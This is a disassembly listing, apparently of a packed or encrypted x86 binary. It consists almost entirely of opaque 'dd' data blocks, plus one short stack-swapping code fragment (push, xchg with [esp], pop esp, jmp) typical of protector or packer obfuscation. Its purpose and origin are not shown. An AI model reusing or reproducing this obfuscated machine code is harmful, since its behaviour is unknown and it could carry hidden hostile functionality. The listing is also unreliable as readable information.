		dd 5DFA9DDBh, 39DC14EDh, 450AAE9Ch, 3EC88EB7h, 0C42E41DDh
		dd 285A48Ch, 58CAh, 0DC1B3800h,	54A79C39h, 3C3EC87Dh, 2FA50F62h
		dd 290284B2h, 1, 0E5DB1B99h, 81C9660Dh,	618D66FFh, 0CE641AB4h
		dd 0E96755D3h, 29C4A74Ch, 0EC83AB8Ch, 49E88767h, 461DC5B2h
		dd 5DED8A25h, 0C8A805D4h, 6AE95C3Eh, 3EC8A893h,	58DA58EEh
		dd 52EDFED5h, 12F195B5h, 32DE1B0Ch, 0C87D2CADh,	43C5433Eh
		dd 846E45C0h, 810A40DDh, 3EC87D78h, 340DB117h, 7710AFBFh
		dd 1FDB61E4h, 8F323E9Ah, 6EC854F6h, 0D640E059h,	4FFBF67Bh
		dd 0C81C09D0h, 6B8B683Eh, 49CC4ECCh, 0D32D13C3h, 8A2EDE88h
		dd 781B54ABh, 37DE14DFh, 175A449Eh, 850E47ADh, 973102h
		dd 6D910000h, 1DBA5596h, 7D74892Dh, 4DD24FD6h, 3EC87D8Ch
		dd 68C165E3h, 2FC86F8Bh, 0C64B2608h, 1DC1ADABh,	0C87D4796h
		dd 2EAC1A3Eh, 0B437B991h, 0CC6C13DFh, 0A65B966Dh, 380CDC64h
		dd 49CC4EC4h, 9D9EE9C3h, 87275BB1h, 8B2645AEh, 663DF0F2h
		dd 0FE4CE988h, 37A1B05Ah, 2858911h, 7447h, 0DE1BBB00h
		dd 18559E37h, 0D717DC79h, 19549F38h, 0B07EDD7Ah, 39973A1h
		dd 8E6A396Ch, 0BBB64BEBh, 0DF50D906h, 0E3651DEFh, 0BD659360h
		dd 0C8AAA736h, 0CE4CBA3Eh, 96751931h, 0E5DB1B90h, 4CE9670Ah
		dd 0C87DE5F7h, 0A4511D3Eh, 49B0E1B8h, 12AB2D75h, 0DE7712E1h
		dd 709EB17Dh, 0E8521D09h, 2855E70h, 0C964875Ch,	18971E2Ch
		dd 3EC8DCC1h, 4D862AA0h, 1, 38DF1BB5h, 781B549Fh, 0EAF370F5h
		dd 853EC87Dh, 0A82AD1A8h, 31DB2F08h, 0BA61991Eh, 6B5EE317h
		dd 46A96BE8h, 14B2C4F5h, 0DC7F787Bh, 26C9A63Dh,	9A21BA89h
		dd 40DEC72Ch, 20C3AC31h, 8E7BC81h, 0DE82C865h, 0B24BEE09h
		dd 0FA933641h, 0C35CFFF9h, 0EA74630h, 0A0CEA14Dh, 67EC8333h
		dd 9A63E088h, 0F5C72C9Ah, 0B46E118Fh, 0FC69993Ch, 13C1Ah
		dd 0A73EA800h, 4A149B22h, 0DC4F553h, 0DA15DE77h, 0BE959837h
		dd 3B3B10AFh, 0A747039Ch, 0E5822552h, 0A13EE10Eh, 4B2A2852h
		dd 62912EACh, 0B159F691h, 4DBEEC83h, 2E49CEA1h,	19963A34h
		dd 0C72CAFC0h, 29A7299Fh, 84548C86h, 5A02FC69h,	80000000h
		dd 971EA33Eh, 720BB2C8h, 6EF538D8h, 3EC87DDFh, 0AD32AF52h
		dd 3EC87D2Ch, 0BD3CC543h, 0D43EC87Dh, 281BB436h, 3EC87DD1h
		dd 0D80B6648h, 7D07D65Dh, 0EC5A3EC8h, 7D13EA69h, 0D86E3EC8h
		dd 467BC638h, 7D0940BFh, 0A2283EC8h, 0C019961Bh, 9F3EC87Dh
		dd 38A68529h, 95h, 22A73E92h, 5FFA149Bh, 905DC4F5h, 0C241C467h
		dd 0C72CA23Bh, 0D572F056h, 27AE511Eh, 0E67F1E58h, 0C543DE0Dh
		dd 0C06003ECh, 0CA6D8A61h, 0A1C2162Dh, 6537C72Ch, 0C76A850Ah
		dd 1F4E2528h, 0E063E780h, 2CA39A63h, 0EF8FF5C7h, 9A21A83Dh
		dd 0E8EFF15h, 4DEA603Dh, 8018C9A6h, 3056E8D5h, 0C0C89C28h
		dd 417EB0h, 0F725E582h,	0FACF1678h, 3524E573h, 6242E44Ch
		dd 72F67BBEh, 97D67249h, 48376CF8h, 68AAAF4Fh, 0F3372820h
		dd 0F26FB255h, 68386C6Dh, 0E18503D3h, 22A73E5Bh, 50FE149Bh
		dd 0E361C4EAh, 2BCEA94Ah, 0D578778Ch, 3EF20B38h, 0B6785268h
		dd 36D9169Bh, 8B333C93h, 4B1EF504h, 7CFE8CB8h, 79D662E3h
		dd 33CCDFCAh, 1A59AE52h, 0FA24E67Fh, 5405F277h,	0FFE66082h
		dd 52F5739Fh, 36CF727Dh, 0CC0D920Fh, 0A3B84BE5h, 8538125h
		dd 0AD000000h, 0B659966Dh, 1B7A2812h, 52A13ED9h, 0EE58225h
		dd 4CA740DFh, 0FE48124h, 51A23BE2h, 0FE48128h, 4FA441DCh
		dd 10E37C23h, 24AE47E6h, 764968h, 24048900h, 255168h, 243C8900h
		dd 225968h, 24148900h, 0DD56856h, 348B2853h, 4C48124h
		dd 4E000000h, 5D2BCE81h, 0C6816468h, 392B084Dh,	4C9EF681h
		dd 0F789A384h, 148B545Eh, 4C48124h, 55000000h, 6A89FD89h
		dd 242C8B08h, 4C481h, 34FF0000h, 0C4815A24h, 4
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		dd 46BCE42Ah, 222F87B8h, 0FFC50306h, 9D400AE0h,	0F001716h
		dd 9E3B253Ah, 0D455DD6Eh, 34BA0A20h, 0CF2E396Ah, 4A6E2A10h
		dd 0D596E159h, 98172B13h, 223FE512h, 0D4AB635Eh, 8A12366h
		dd 812AE842h, 7677862Eh, 0DF3D366Eh, 0BF504B47h, 75172D5Dh
		dd 25DC7C30h, 0BA3C1144h, 78985467h, 4B00521h, 4FC8E055h
		dd 4F1EC737h, 0E3B99770h, 66F7695Eh, 69DB0F76h,	48797F2Dh
		dd 45DE880Dh, 6B04EB6Fh, 0E9712098h, 568h, 1ABD5894h, 670AA9C5h
		dd 24C36A90h, 5E019CCFh, 26C97089h, 4930A143h, 10E8FFA2h
		dd 3835CA6Dh, 16E1F699h, 63E2D473h, 0EA4D1DDCh,	0CA7B7438h
		dd 0BF58FBF5h, 19B8B68Bh, 242ACE7Ch, 9C39DC1Bh,	30651A57h
		dd 5C03EF41h, 171AA7D0h, 108F1299h, 3EC8AFC9h, 9F7E22A8h
		dd 3B352F48h, 0CD4BFF98h, 0BAB4C330h, 73801DBCh, 0FF4BE483h
		dd 8D66FF81h, 0CE25C261h, 9360FDA4h, 9997B267h,	0C79C314Dh
		dd 0A38BAC49h, 25099ECCh, 7AAC54Ah, 0C3629368h,	1FA42124h
		dd 3EC8D9DEh, 5E7313B1h, 9C57F08Fh, 769431D4h, 35D8A06Fh
		dd 240EB298h, 0EADC84Dh, 0E46BE66Bh, 3EC8D915h,	0A53ADE6Ch
		dd 0B58E27CAh, 3EC8D927h, 349EB14Dh, 28555BCh, 91344310h
		dd 5CF4EDh, 1B4E0000h, 0DDB239DCh, 74D66F12h, 0F3083BD4h
		dd 0A33EC87Dh, 0D60E78F7h, 800284B1h, 1, 0FFDF6D02h, 87767F9h
		dd 5A94690Dh, 0A5D122BBh, 7DC6906h, 3EC548E7h, 3EC84DBFh
		dd 3F9434D2h, 870A912Ch, 0C84DF108h, 9538373Eh,	34D252F8h
		dd 72BC7B94h, 7D1C5ADFh, 47EA05DAh, 0DE1BA2A8h,	19559E37h
		dd 0B07EDD7Ah, 0AE551CA1h, 58FBF40Bh, 4FF2FED5h, 955D96AFh
		dd 1A9151EEh, 0E8852C45h, 0FD54BE62h, 84B46D93h, 7B0B02h
		dd 6D770000h, 9A3536DFh, 0DFE5796h, 91C5832Ch, 58AD51CFh
		dd 16DD7A21h, 9F9835DCh, 3E3BC08Fh, 5E35F897h, 0B449ED94h
		dd 4B9211BDh, 263EC8F7h, 6E8522A0h, 0AE45E27Dh,	72811EC1h
		dd 9D47E087h, 5C4674FBh, 1F45AFC2h, 3902853Eh, 44h, 37DE1BC9h
		dd 2218559Eh, 9B34B651h, 0D4A37053h, 12B69431h,	0DE469E8h
		dd 0DD62DF66h, 3EC87D1Ch, 0D14ED573h, 3EC87D08h, 0DE3DE167h
		dd 3CDB1B58h, 7D5AA0A3h, 0B04A3EC8h, 0B20137A1h, 1570284h
		dd 0AB000000h, 0B538DF1Bh, 7D2AB330h, 0BF453EC8h, 703F061Fh
		dd 0C5649183h, 7A02228h, 214EA343h, 6677FC79h, 0F93EC87Dh
		dd 7DF7068Bh, 0FC8A3EC8h, 2229E17Eh, 0E3831E4Dh, 0C9B13639h
		dd 368B7F22h, 0FB942F3Ch, 0C54AD14Fh, 0C4F5460Fh, 0A7502310h
		dd 0C2118D6Dh, 0F072F0A4h, 0D965DF6Dh, 42D1C4C9h, 0F3C0859Eh
		dd 2ABF5F06h, 4207AA4Dh, 1AB940BFh, 72D8C72Ch, 9B3E39CEh
		dd 0C7169D18h, 9AC72C1Ah, 92B38C2Ch, 1A49900Fh,	0A228C72Ch
		dd 1A45941Bh, 0AE1CC72Ch, 1AB6450Ah, 0D86BC72Ch, 0E76B8154h
		dd 1EC275CCh, 552A5DF4h, 3D8781Bh, 59AE51F4h, 11E27B1Eh
		dd 0B1AA43E6h, 0BA376A05h, 2CCBA435h, 0A94DBBC7h, 0D9781B54h
		dd 6967A71Dh, 166B1FCh,	6D110000h, 7D926BE8h, 57ED3EC8h
		dd 0C90045B7h, 53B3BD42h, 0E6BDC4F5h, 8BC7670Ah, 649360FDh
		dd 0AEC91EC1h, 0A7C4BAB4h, 59F18E0Ch, 0BAB53ED7h, 11DD7E17h
		dd 1BBEB93Eh, 998F1D98h, 60B0D3Fh, 43D128B1h, 1AB0C72Ch
		dd 0BD929776h, 1BBEB9B3h, 0AD4AC882h, 0C9FFF99Dh, 8FFC68EFh
		dd 5Dh,	0AF4A29F6h, 0A33E490Fh,	7118971Eh, 0F03EC87Dh
		dd 0C2F0364Ch, 1E9C2BD6h, 793BC281h, 33EE3EC8h,	79A831AEh
		dd 41C73EC8h, 79A435BAh, 4DBB3EC8h, 8EF07FA9h, 8A078E33h
		dd 0C764A1FEh, 54F4EE82h, 0C853BECFh, 0A827AA3Eh, 3EC85051h
		dd 0B8C19A30h, 32D67411h, 1F190F6h, 0ACh, 22A73E57h, 0CA7C49Bh
		dd 0AC6AE96Ch, 0A8C4F55Fh, 0E146E724h, 0DB7BBAF5h, 0C366925Fh
		dd 1BA2202Ah, 0F8C01996h, 1B98C72Ch, 0C72CF8C2h, 1DAB279Dh
		dd 0E9862D44h, 8F64BD61h, 0C51ABD60h, 0D56E07AAh, 0C72CFB01h
		dd 51BF4DF8h, 885BB560h, 10A286C3h, 15166184h, 43C88771h
		dd 350A9134h, 16F59938h, 0D6155DE4h, 1CA3A23Bh,	0C72C6FDDh
		dd 169416B4h, 108F128Fh, 0C72C6FC9h, 6FDB22A1h,	50B6C72Ch
		dd 8D9236D4h, 3D09BFCAh, 0CFA4279Dh, 0C059FDA0h, 1AA14433h
		dd 0E2862D45h, 3C13C149h, 0BF4683DAh, 2C4C3F40h, 935D5237h
		dd 87CF72F0h, 9B22A73Eh, 0EDAD4314h, 17B016C4h,	0B46213DCh
		dd 0D7513483h, 83224C25h, 0C9B17E05h, 89304922h, 2C0346E5h
		dd 44069F46h, 7D204FA4h, 0A95029F6h, 8C653E0Ch,	5E0248E5h
		dd 0C3FA7EC5h, 0DD784E10h, 0AE47EA06h, 0EF882B45h, 0CF39DD5Bh
		dd 4BC84D80h, 0BC121CB2h, 429737CDh, 18EF9235h,	50A33CDFh
		dd 1BEF8823h, 9ED95EF1h, 68875CFBh, 8F1D28C5h, 9A76FFF2h
		dd 8270103Eh, 3, 1BBC86D8h, 52A13ED9h, 0EE58225h, 4CA740DFh
		dd 0FE48124h, 51A23BE2h, 0FE48128h, 4FA441DCh, 10E37C23h
		dd 24AE47E6h, 4EC81h, 34890000h, 81E68924h, 4C6h, 4EE8300h
		dd 5C243487h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		dd 0FE682404h, 89000060h, 6853243Ch, 517A0B72h,	9CBD555Bh
		dd 815B1516h, 8D13ECF5h, 5DEB2901h, 0D57BEB81h,	0D889F0BFh
		dd 4EC835Bh, 83242489h,	5F042404h, 277068h, 24048900h
		dd 0FF08478Fh, 835F2434h, 48B04C4h, 0E1895124h,	4C181h
		dd 0C1810000h, 4, 5C240C87h, 0F94847E9h, 7C2291FFh, 0E91CEA9Ch
		dd 0EAD2BBE0h, 4F9137F2h, 223553B8h, 0FFC50306h, 46B9D4E0h
		dd 0F0A5901Ah, 0E216FF43h, 0AAC61035h, 0C3A8C141h, 5B409C2Dh
		dd 0A1B43956h, 0C88D8D47h, 6A062236h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 1B85C350h
		dd 29A1D507h, 1B22C59Dh, 298D8906h, 0F061B24h, 85C7FFB7h
		dd 61B0765h, 6B3Ch, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0B4C35040h, 78708398h, 0E7DE9D80h, 5D8531C9h
		dd 0C7061B01h, 1B13D185h, 6, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0A439FC54h
		dd 0FF52A0A2h, 1B2549B5h, 0CB816606h, 95FF31B0h, 61B2F85h
		dd 1ED9B58Bh, 6A061Bh, 220595FFh, 0C08B061Bh, 7EEA1AEBh
		dd 4029768Ch, 37C50BBDh, 0E48BD7BAh, 3B5A04FFh,	6ADA047Fh
		dd 15D6F77Bh, 95D104EBh, 0CEE90EFDh, 29000005h,	0FA11B04Bh
		dd 25BA5DFCh, 0EC03A64Dh, 2EC564FFh, 58FD9C43h,	0BB628F42h
		dd 6A9C71Ch, 0C2618C63h, 0CAFC81Fh, 55DA796Dh, 38EA4B84h
		dd 6D3012DBh, 1BB45B96h, 60FDA0D8h, 33C868EAh, 42479344h
		dd 712EB68h, 0D76D3EC8h, 0B5413F4Bh, 15E3B033h,	0D175D572h
		dd 17BEBB38h, 0F1946378h, 2DD09F54h, 0F4936390h, 0AC87EB71h
		dd 8C29C8A6h, 0DBED2EBEh, 9F54ED91h, 63902DD0h,	0B555F295h
		dd 851A4807h, 43C045C0h, 3EC861BAh, 13EA6FD5h, 6E3EC861h
		dd 0FCE55D8h, 623EC861h, 97DA44E4h, 0BE618F64h,	70852921h
		dd 0DB61E487h, 0B101D095h, 1FBFB6h, 0CC6B0AEBh,	1EB9BA89h
		dd 0D025C981h, 8A6906A5h, 0D832CB6Eh, 1F4FC755h, 649A63E0h
		dd 8FF53EC8h, 6F09003h,	34B9B862h, 93324339h, 925D7215h
		dd 69EF56EFh, 0FF8BB4DBh, 71EE7545h, 3EC88F68h,	58DD8107h
		dd 3EC88F82h, 0DF4908F2h, 285A369h, 5EEFh, 0DC1B5300h
		dd 54A79C39h
		dd 3C3EC87Dh, 59DC0F62h, 0C87D03DAh, 48E85E3Eh,	84B196CEh
		dd 1C002h, 1B420000h, 50A33CDBh, 5EE8726h, 41B24BE6h, 0F9FA9336h
		dd 23C15EFDh, 8271F679h, 7EFC4EE7h, 0A52A45E9h,	4A3D3C9h
		dd 0DA5EE386h, 40F76591h, 668428BCh, 0ECCB9AECh, 3A35CA6Eh
		dd 6D32F897h, 7D926BE8h, 0ED3EC8h, 35D957F6h, 9532D9A0h
		dd 5D9A905Eh, 0A62D1DBAh, 0C87DD029h, 9719AF3Eh, 57FAF5FEh
		dd 993835BEh, 5CF33BFCh, 9418BD2Eh, 9916859Bh, 3EC8C040h
		dd 0D019A91Fh, 0D136C67Bh, 12963738h, 0B3BE6808h, 0FD9C432Eh
		dd 0C96609E6h, 22A9502Ah, 0E080234Dh, 5B289B47h, 2DD7771Eh
		dd 8090B822h, 68C60285h, 3C000000h, 9E37DE1Bh, 0D9761D55h
		dd 4B28F75Eh, 4B2610B0h, 6504ABC6h, 23BC638Eh, 6F08A3D0h
		dd 5CC68973h, 284B3F4h,	6B62h, 0DE1BE000h, 0B231B437h
		dd 3EC87D2Bh, 720C046h,	0E188713Eh, 2ECDA83Dh, 0FF9ED8A7h
		dd 452DC65Fh, 8F2019Eh,	7E20C461h, 5CE7C5F3h, 7D835AD9h
		dd 68DE3EC8h, 8E135EC8h, 0E58C6563h, 1B7EC463h,	0A2A33CDBh
		dd 5FFFA2CDh, 0C87D00DAh, 0BB96703Eh, 77860D88h, 0A3EC87Dh
		dd 0AA22DC7Ch, 0AC0284B1h, 8, 8E294A19h, 6FB559F1h, 9F38DF1Bh
		dd 0FF9AD9A6h, 0AF44E466h, 8A801DC0h, 7881FE83h, 173EC87Dh
		dd 4C230DB1h, 0C6179C19h, 993EC87Dh, 7C768B2Bh,	79C032D5h
		dd 0FBF6CD50h, 0EF8FBB54h, 462DE76Ch, 5827C4F5h, 10E37C1Fh
		dd 0A5A542E9h, 0EAC78323h, 69EC6E09h, 1CBC5B9Ah, 7E6D4203h
		dd 0C1AE43E3h, 32B67B1Eh, 26576591h, 91384149h,	34D456F4h
		dd 0AB28D09Fh, 0C72C0C52h, 0B8C2972Dh, 54D67411h, 0C7388BBh
		dd 15B0C72Ch, 0F38C333Eh, 0D3768257h, 0C670103Ah, 76FD78ABh
		dd 0C72C0C67h, 17EC8CFAh, 2AAE35D8h, 7D9D65D7h,	0B453F38Ch
		dd 10AD501Fh, 0D47114E3h, 1856501Fh, 0EC6EDC79h, 6C6DF253h
		dd 3C72CF1h, 24BFAC85h,	0FA557F8Bh, 0C08F5FCCh,	0F6993C3Bh
		dd 0A831AE33h, 0C7C72CF1h, 0CD6A0DEAh, 4C26FB7Dh, 9E4208A5h
		dd 693DEC64h, 465CE0FCh, 9808B2A4h, 7A914AEEh, 0F1000001h
		dd 926BE86Dh, 0ED3EC87Dh, 45B757h, 816D42C9h, 74FB3EE2h
		dd 0C4F553EAh, 9564EB66h, 0ECC72CAFh, 87EBA5Eh,	0C86B846Fh
		dd 0F4A5D229h, 4BFF6C69h, 4CCF513Fh, 85B34AC9h,	38CEC72Ch
		dd 85AF2EB5h, 44C2C72Ch, 8F688BA4h, 0F2867ADEh,	0A3253B51h
		dd 53C69C20h, 0B86A3AB2h, 0B95CFF18h, 0CC6C0BEAh, 59DC0F62h
		dd 2C2F03DAh, 65E85EC7h, 2C2F1FDEh, 34D472C7h, 98D6D09Fh
		dd 1ED877F9h, 0FC6903A6h, 5CB0h, 0A33E1200h, 34153C10h
		dd 0D83CE7ACh, 0F70A40A9h, 98C0E8Ch, 0C85EC38Ah, 4FE85E3Eh
		dd 0A95029F6h, 6F08A3D0h, 0E7F63BDBh, 213EC85Eh, 0D51EB752h
		dd 8C58F59Ch, 9393CFA2h, 7CAB13BBh, 0B96347C9h,	0B80954B6h
		dd 10E3B035h, 16AF521Eh, 0D12B634h, 3EC8C27Ch, 4B255F3h
		dd 99h,	22A73E7Eh, 2C49169Bh, 0F8953C36h, 0C64DD052h, 3EC87D37h
		dd 171CBC4Ah, 0C4F55FF9h, 0F253EC5Ah, 0D6FA8E66h, 0CB577AE3h
		dd 0A39B6C0Bh, 687D21AFh, 9A69EC8Fh, 2822BB5Eh,	2552A988h
		dd 0F976FB82h, 0C72C92E0h, 2AAA4526h, 6A9C79Ch,	0E43DE169h
		dd 2C919B5Fh, 0C1908EC7h, 0F190333Ch, 936AE96Ch, 0EEC72C93h
		dd 0FF46B858h, 26BC43CAh, 393D094Ah, 0B6C132CBh, 8D907A13h
		dd 0CA728B08h, 770DCD0Ah, 0C0222DD7h, 3FCD5079h, 163712CFh
		dd 65E88838h, 2FA404DEh, 4EF15737h, 22A73E08h, 0A4DE149Bh
		dd 381C4EDh, 0CB6E896Ah, 0F598D72Ch, 1F06EB58h,	0DA443FF5h
		dd 42E51297h, 8C2F489Fh, 58F300F3h, 0CEA14BBFh,	0EC8B2E49h
		dd 9835D817h, 85161FADh, 0C0FDFC83h, 0F694CE36h, 911EFD66h
		dd 3FFEDh, 86590000h, 3ED91BBCh, 822552A1h, 40DF0EE5h
		dd 81244CA7h, 3BE20FE4h, 812851A2h, 41DC0FE4h, 7C234FA4h
		dd 47E610E3h, 895324AEh, 4B951E3h, 1000000h, 0EB8359CBh
		dd 241C8704h, 0E789575Ch, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 68240489h, 973h, 0B8241489h,	43F23DBh, 60696235h, 7E8C168h
		dd 97D7F797h, 5779835h,	4D0568F9h, 24890000h, 24048124h
		dd 4, 4EC815Ah,	89000000h, 428F2404h, 2434FF08h, 4C4815Ah
		dd 8B000000h, 89512404h, 4C181E1h, 83000000h, 0C8704C1h
		dd 6DE95C24h, 0DFFF941h, 42004036h, 3C35B849h, 0C5030622h
		dd 2D55E0FFh, 9E865B1Dh, 525944D6h, 268224F0h, 0B0CF4BDDh
		dd 0A2E402CDh, 0A6C31084h, 17B52D44h, 81B96A2Eh, 0B87C660Ah
		dd 507D77ACh, 66F613E9h, 0F5AE476Eh, 36B55B54h,	7E46674Ah
		dd 5912535Ch, 1E315B62h, 0CBE74418h, 6CE2796Ch,	27B876DDh
		dd 9CFD079Ah, 0FCEC5907h, 4EB6874h, 12F7A562h, 567E9h
		dd 62FDEF00h, 0AF4E28BFh, 58FFFB10h, 0B65122B9h, 0EB5BC13h
		dd 0FDD4066Bh, 55AA4DF4h, 2D9781Bh, 1EB554F3h, 0D70BAE51h
		dd 4026B73Ch, 703938EAh, 39DC1BD2h, 731A579Ch, 4DF0FFD4h
		dd 913443B0h, 50EFFFF4h, 57FAF6CDh, 55D95EB7h, 0FFF8C7FAh
		dd 4827BC5Ch, 703F02A5h, 4AE38Ah, 0BD6A8B60h, 0BABDC43h
		dd 0E467E967h, 2AFCC658h, 0D57975FDh, 35D4A136h, 7118E1AEh
		dd 717F74CDh, 2BD931CEh, 176BF124h, 0AD565F2Ch,	6104F3C8h
		dd 0AE4D28BDh, 58FBF40Bh, 107684BFh, 841E3EC8h,	0CE5BAEDh
		dd 1147C165h, 4702851Fh, 64h, 39DC1BBBh, 7D54A79Ch, 0A4CE3EC8h
		dd 25F741EFh, 1C9EA7E8h, 0E4877083h, 0B66104Bh,	47C96886h
		dd 57966DE0h, 63EE18B8h, 8541C3F9h, 19502h, 1BED0000h
		dd 50A33CDBh, 5EE8726h,	85B24BE6h, 2551D699h, 0E30CE386h
		dd 7D25B43Bh, 0CE3C3EC8h, 1943C94Ch, 0C86B84ECh, 9E8F1B2Fh
		dd 0CAFC953h, 34BEA8Eh,	9E37DE1Bh, 0F37A1955h, 7DE8F16Eh
		dd 1873EC8h, 0C797C45Dh, 4FF60388h, 9BD6ADB0h, 77E0F1E6h
		dd 0F0727B3Ch, 32D19C57h, 0FCFB10B0h, 0F0FDD259h, 0F296B451h
		dd 0F9A0DA19h, 0D998865Ch, 8569096Fh, 0CC6F02h,	1BD30000h
		dd 31B437DEh, 54F19862h, 7D6C6DF6h, 85033EC8h, 0CFAB48E1h
		dd 0A320A528h, 3EC87D5Ah, 0F36F16DCh, 0DF58B155h, 7E7B004Fh
		dd 7D8C4DD2h, 57DC3EC8h, 3EC87D86h, 2EF6BD9h, 50D250F7h
		dd 211F5AB1h, 0A79FA657h, 3F17C945h, 4D2624C1h,	6AE07D24h
		dd 0C7A44FE8h, 0B54F932Ch, 6198679Ah, 468F2ABAh, 63E7ED55h
		dd 0D42349C3h, 72550284h, 0AD000000h, 970CDF6Dh, 0B264E484h
		dd 5900F90Eh, 960389BCh, 7D81D255h, 0F86A73F0h,	7F053EC8h
		dd 6D885D01h, 817847CEh, 0BCB63DDAh, 33079315h,	3E543B0Ch
		dd 0D9152ED2h, 0CAA72C43h, 758A11Eh, 0CC373EC8h, 0C807B647h
		dd 0BD3BC93Eh, 0CF680BE4h, 0FB76FD7Bh, 0C8076574h, 0EA8EFC3Eh
		dd 0DB1B034Bh, 5AA0A33Ch, 4A3EC87Dh, 137A1B0h, 570284B2h
		dd 1, 38DF1BABh, 0FED827B5h, 0D008CEA0h, 13DC1730h, 8933D770h
		dd 910E93C6h, 3EC85248h, 65029DCEh, 3FDF65E5h, 8629D0AAh
		dd 0F97C4D94h, 0F569587Ah, 0BE45C3C4h, 0C96605F1h, 0AF44DD81h
		dd 0F6ABC6C0h, 12FE5396h, 6D0A889Dh, 4AC86786h,	45E28971h
		dd 61E48305h, 87C51FDBh, 0AC2F3F47h, 7CD84459h,	677C1C9Eh
		dd 0DE65E088h, 0C72DD81Fh, 8E4FD472h, 0E1C72DD8h, 0DA5EE563h
		dd 0C054D7E4h, 6E11DF4Dh, 50F34CECh, 0C72D8B8Bh, 9E6BD88h
		dd 1958C266h, 19B85B94h, 860DB5C2h, 0C72D8B77h
		dd 0A948250Ah, 0E70CA927h, 93C86508h, 0E8078CE3h, 0F068A245h
		dd 66FC6AA7h, 155h, 22A73EDCh, 4099169Bh, 183EC87Dh, 0C87D429Bh
		dd 2BA71D3Eh, 0B936F99Dh, 0C4F553AFh, 767D1AB0h, 9C33D679h
		dd 0AE9730D3h, 0DA7316E1h, 0AC15E46Bh, 0DE6CC72Ch, 4827BC5Ch
		dd 0A35308A5h, 852847CCh, 68905FE2h, 71E721C5h,	0E7FC6982h
		dd 5Fh,	0B58DA5Eh, 0CA3A54C0h, 0A33E2026h, 6B04ABC7h, 0DCA94CD1h
		dd 8B0DF099h, 4009860Dh, 0DF3EC855h, 6677CC69h,	913EC855h
		dd 9732410Eh, 0F420DF7h, 55CC0D92h, 25A33EC8h, 55D8219Eh
		dd 51B73EC8h, 0DFE27BADh, 0ED0AD95Ch, 7D61BA4Ah, 8861F607h
		dd 0E72A63E8h, 0BF453EC8h, 0A7B220h, 3E280000h,	149B22A7h
		dd 0C4F55FFAh, 0C9708956h, 29B2925h, 0C46306F1h, 169D402Fh
		dd 0F18E2D49h, 0E95CB559h, 9838DF1Ah, 2CA14F93h, 7E03C2C7h
		dd 2CA3F801h, 8D3197C7h, 0CA99CCA3h, 0DB6F08AFh, 26C9A63Bh
		dd 0BC43BE83h, 0C72CA33Dh, 0E012B654h, 3CDF1959h, 872650A3h
		dd 95B77909h, 9FB21DDFh, 0F60E9A21h, 2E4E6E27h,	0E29A9824h
		dd 40783AFEh, 4B189DA0h, 62E7872Eh, 3D09037Ah, 0D425AA15h
		dd 0ABCD0A19h, 0F1029B1Dh, 40CA6306h, 459BB96h,	0D9C13EC5h
		dd 76372FC6h, 60EC7110h, 6491E676h, 922228C5h, 16BA76BCh
		dd 55966D10h, 5DE416BAh, 0DF1AE96Ch, 0E959838h,	0C4EDA22Eh
		dd 0F3C043C1h, 81C46104h, 15BEFB02h, 0B23096C7h, 4310350Eh
		dd 0DCF19530h, 3AD17013h, 85139A3Dh, 7AE370DBh,	0C35CFCD1h
		dd 0E3421380h, 0BA959933h, 0F8973A35h, 0D47114E3h, 14B14C1Fh
		dd 0D16E11DFh, 15B25522h, 0F4222DCFh, 44C98836h, 12E9882Bh
		dd 0A0A542E5h, 14897B1Ch, 0AC9E37DEh, 376D4720h, 32997h
		dd 869F0000h, 3ED91BBCh, 822552A1h, 40DF0EE5h, 81244CA7h
		dd 3BE20FE4h, 812851A2h, 41DC0FE4h, 7C234FA4h, 47E610E3h
		dd 545224AEh, 4C2815Ah,	83000000h, 148704EAh, 23685C24h
		dd 8900000Bh, 0E0682434h, 89000026h, 0BA522414h, 17F122B8h
		dd 4141F281h, 0CA814403h, 7D30D2Eh, 28F0BD55h, 0C5811EE8h
		dd 47DE2331h, 0F75DEA01h, 7EAC1D2h, 0B0A5C281h,	0D689059Fh
		dd 4EC815Ah, 89000000h,	4832424h, 505A0424h, 42895856h
		dd 34FF5808h, 0C4815A24h, 4, 5E2434FFh,	4C481h,	99E90000h
		dd 38FFF93Bh, 0E73AEDF7h, 224211B8h, 0FFC50306h, 0FE7FF6E0h
		dd 0ACA0FB51h, 0F0EBA12Eh, 7C5D2162h, 0FE41BD4Ah, 8932621Ah
		dd 3488973Dh, 0B9049A73h, 0FE3240Ah, 31FFDA2Eh,	0E68D0A79h
		dd 0DDC7D056h, 85D57C79h, 0B587AA0Eh, 572857Eh,	0DDFF5767h
		dd 0F070AE57h, 0E4C74432h, 0C7F77249h, 0E59DD22Ah, 4E345B4Ch
		dd 94294315h, 0B08FAD2Ah, 0C28D8D08h, 6A062243h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 5F8BC356h, 124CD3E3h, 89FE8B2Fh, 1B24298Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0F9850975h, 0C7061B0Ah, 1B076585h, 73E006h, 0C7DC8A00h
		dd 1B13D185h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0AD062F26h, 7B6CF6FBh
		dd 0BD29B861h, 61B06B5h, 5DB5FFh, 6A061Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 9E7258C3h
		dd 2F8595FFh, 0EA81061Bh, 2931FF30h, 95FF006Ah,	61B2205h
		dd 39EBC08Bh, 562E4639h, 0D9F26C1Fh, 41D02500h,	24E45293h
		dd 6385BE7Ch, 90714D83h, 618821D2h, 5AFC9F4Fh, 30C62243h
		dd 20CB4C3Ah, 0DA32CD13h, 0B71C5848h, 0B026C4D8h, 3F3D560Ch
		dd 8304EB71h, 0E9033257h, 551h,	0A649E410h, 0E3862551h
		dd 0A03FE60Ch, 0EA8D284Bh, 9235DC15h, 0CDA42DAFh, 846C8326h
		dd 0CCA93EE1h, 7A758A2Dh, 0FF8638D7h, 0EA397980h, 6B571838h
